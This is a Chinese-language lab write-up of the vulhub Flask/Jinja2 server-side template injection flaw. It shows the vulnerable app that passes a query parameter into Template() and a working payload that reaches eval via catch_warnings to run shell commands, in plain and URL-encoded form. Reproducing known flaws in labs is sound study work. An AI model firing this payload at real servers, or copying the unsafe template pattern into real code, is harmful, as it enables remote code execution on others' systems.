Flask(Jinja2) 服務端模板注入漏洞vulhub


Flask(Jinja2) 服務端模板注入漏洞vulhub

前言

Flask簡介

Flask 是一個使用 Python 編寫的輕量級 Web 應用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎則使用 Jinja2 。
Flask 為你提供工具,庫和技術來允許你構建一個 web 應用程序。這個 web 應用程序可以是一些 web 頁面、博客、wiki、基於 web 的日歷應用或商業網站。

Jinja2 模版部分語法

  1. 變量
    Jinja2 使用{{name}}結構表示一個變量,它是一種特殊的占位符,告訴模版引擎這個位置的值從渲染模版時使用的數據中獲取
    Jinja2 能識別所有類型的變量,甚至是一些復雜的類型,例如列表、字典和對象。此外,還可使用過濾器修改變量,過濾器名添加在變量名之后,中間使用豎線分隔。例如,下述模板以首字母大寫形式顯示變量name的值。

    Hello, {{ name|capitalize }}
    
  2. if&for語句
    if語句簡單示例

    {% if user %}
         Hello,{{user}} !
    {% else %}
         Hello,Stranger!
    {% endif %}
    
  3. for語句循環渲染一組元素

    <ul>
         {% for comment in comments %}
             <li>{{comment}}</li>
         {% endfor %}
    </ul>
    

漏洞原理

模板注入涉及的是服務端Web應用使用模板引擎渲染用戶請求的過程,服務器模板中拼接了惡意用戶輸入導致各種漏洞。

漏洞環境

編譯及運行測試環境:

cd flask/ssti/
docker-compose build
docker-compose up -d

image-20210115193311247

漏洞復現

flask/ssti后端源碼

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()

觀察代碼 name變量完全可控

輸出無過濾就注定會存在xss,當然還有更多深層次的漏洞。

image-20210115203804642

image-20210115194058129

訪問http://172.168.30.66:8000/?name={{233*233}},得到54289,說明SSTI漏洞存在。

image-20210115194206107

eval()函數又稱為評估函數,作用是去掉參數中最外層引號並執行剩余語句。
划重點:只去掉最外層引號
eval()的參數形式為字符串或字符串變量,在程序中可以將字符串形式的輸入值轉化為數字進行計算。
更廣泛的應用是將任意字符串形式的輸入值轉化為Python可處理的語句。

獲取eval函數並執行任意python代碼的POC:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("whoami").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

訪問http://172.168.30.66:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22whoami%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D,得到執行結果:

image-20210115211023001


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM